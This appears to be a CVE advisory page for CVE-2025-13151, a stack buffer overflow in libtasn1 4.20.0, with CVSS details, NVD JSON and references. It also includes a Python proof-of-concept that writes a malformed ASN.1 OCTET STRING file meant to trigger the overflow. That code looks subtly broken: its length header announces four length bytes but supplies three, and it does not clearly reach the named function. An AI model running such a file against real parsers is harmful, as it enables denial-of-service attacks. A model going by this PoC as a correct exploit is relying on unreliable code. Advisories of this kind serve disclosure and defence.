Security Vulnerability Report
中文
CVE-2025-13151 CVSS 7.5 HIGH

CVE-2025-13151

Published: 2026-01-07 22:15:43
Last Modified: 2026-02-02 19:27:23

Description

Stack-based buffer overflow in libtasn1 version: v4.20.0. The function fails to validate the size of input data resulting in a buffer overflow in asn1_expend_octet_string.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gnu:libtasn1:4.20.0:*:*:*:*:*:*:* - VULNERABLE
libtasn1 v4.20.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-13151 PoC - libtasn1 asn1_expend_octet_string Buffer Overflow # This PoC demonstrates the vulnerability by crafting malicious ASN.1 data import struct def create_malicious_asn1_octet_string(): """ Create a malicious ASN.1 OCTET STRING that triggers buffer overflow in asn1_expend_octet_string function """ # ASN.1 OCTET STRING tag tag = 0x04 # Craft a length field that exceeds expected buffer size # This triggers the overflow when processed by asn1_expend_octet_string excessive_length = 0xFFFF # 65535 bytes - exceeds typical stack buffer # Length encoding (using long form for clarity) length_bytes = b'\x84' + struct.pack('>I', excessive_length)[1:] # Malicious payload - overflow data payload = b'A' * excessive_length # Construct the malformed ASN.1 OCTET STRING malicious_data = bytes([tag]) + length_bytes + payload return malicious_data def create_poc_file(): """Generate PoC file for testing""" poc_data = create_malicious_asn1_octet_string() with open('cve_2025_13151_poc.bin', 'wb') as f: f.write(poc_data) print(f"PoC file created: cve_2025_13151_poc.bin ({len(poc_data)} bytes)") print("This file contains a malformed ASN.1 OCTET STRING that can") print("trigger buffer overflow in libtasn1 asn1_expend_octet_string") if __name__ == '__main__': create_poc_file()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13151", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:43.200", "lastModified": "2026-02-02T19:27:23.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in libtasn1 version: v4.20.0. The function fails to validate the size of input data resulting in a buffer overflow in asn1_expend_octet_string."}, {"lang": "es", "value": "Desbordamiento de búfer basado en pila en libtasn1 versión: v4.20.0. La función no valida el tamaño de los datos de entrada, lo que resulta en un desbordamiento de búfer en asn1_expend_octet_string."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:libtasn1:4.20.0:*:*:*:*:*:*:*", "matchCriteriaId": "07E5B1B9-3891-490C-B148-DD952764A8A0"}]}]}], "references": [{"url": "https://gitlab.com/gnutls/libtasn1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitlab.com/gnutls/libtasn1/-/merge_requests/121", "source": "[email protected]", "tags": ["Patch"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/08/5", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Patch"]}, {"url": "https://www.kb.cert.org/vuls/id/271649", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}